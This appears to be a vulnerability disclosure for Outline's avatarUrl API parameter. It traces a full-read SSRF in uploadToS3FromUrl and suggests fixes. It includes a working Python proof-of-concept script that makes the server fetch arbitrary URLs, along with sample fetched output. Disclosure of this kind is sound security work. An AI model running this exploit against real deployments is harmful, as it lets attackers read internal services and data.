Privileges: None.
The avatarUrl
post parameter from /api/users.update
and /api/teams.update
api endpoint isn’t sanitize and permit to get a full read SSRF exploitation. When updating user’s or team’s avatar, even if from client side we can only change it by uploading an image to s3bucket, we still can change the supplied an url to force the server fetching and uploading the content url we want. If the fetching was doing well, we get it’s url as an outpout, allowing us to retrieve the full content of the page.
/api/users.update
.1°) The avatarUrl
post parameter is recieved by /server/routes/api/users.ts
on users.update
road. (link)
2°) Then it is sent to user uploadAvatar
method. (link)
3°) Finaly it is upload via uploadToS3FromUrl
method. (link)
/api/teams.update
1°) The avatarUrl
post parameter is recieved by /server/routes/api/teams.ts
on teams.update
road. (link)
2°) Then it is sent to team uploadAvatar
method. (link)
3°) Finaly it is upload via uploadToS3FromUrl
method. (link)
In both case, the workflow is quite the same and the vulnerability occure at in the same method uploadToS3FromUrl
.
export const uploadToS3FromUrl = async (
url: string,
key: string,
acl: string
) => {
try {
const res = await fetch(url);
// @ts-expect-error ts-migrate(2339) FIXME: Property 'buffer' does not exist on type 'Response... Remove this comment to see the full error message
const buffer = await res.buffer();
await s3
.putObject({
ACL: acl,
Bucket: AWS_S3_UPLOAD_BUCKET_NAME,
Key: key,
ContentType: res.headers["content-type"],
ContentLength: res.headers["content-length"],
Body: buffer,
})
.promise();
const endpoint = publicS3Endpoint(true);
return `${endpoint}/${key}`;
...
};
Here, as you can see, the fetch request result is imediatly upload to the s3bucket without verifying the MIME type
or remote hostname ip
. Due to this, all files from all destinations can be retrieved by the SSRF.
accessToken
cookie from the developer
tab.from requests import post
from json import loads
ssrf_url = "https://mizu.re"
accessToken = "XXX"
outline_url = "XXX"
# init
api_url = "https://%s/api/users.update" % outline_url # Change it
headers = {
"Authorization": "Bearer %s" % accessToken
}
json = {
"avatarUrl": ssrf_url
}
# request
r = loads(post(url=api_url, headers=headers, json=json).text)
if "https://outline-production-attachments.s3-accelerate.amazonaws.com/" in r["data"]["avatarUrl"]:
print("\n\x1b[1m[+] SSRF output generated:", r["data"]["avatarUrl"], "\x1b[0m\n")
else:
print("\n\x1b[31;1m=== ERROR FETCHING THE WEBPAGE ===\x1b[0m\n")
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="icon" type="image/png" href="https://mizu.re/favicon.png">
<link rel="stylesheet" type="text/css" href="https://mizu.re/assets/css/normalize.css">
<link rel="stylesheet" type="text/css" href="https://mizu.re/assets/css/style.css">
<link rel="stylesheet" href="https://mizu.re/assets/css/style-dark-specific.css" id="theme-style"><link rel="stylesheet" href="https://mizu.re/assets/css/github-markdown-dark.css" id="markdown-style"><link rel="stylesheet" type="text/css" href="https://mizu.re/assets/css/materialize.min.css">
<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
...
To fix this vulnerability, I suggest you to:
MIME type
like:
OR
Depending on how you want to use uploadToS3FromUrl
method later, I suggest you use those filters in Team
and User
uploadAvatar
method or directly inside uploadToS3FromUrl
. Directly fixing uploadToS3FromUrl
will be more efficient and avoid any new SSRF on that endpoint but, you won’t be able to use it to upload other type files that cité above.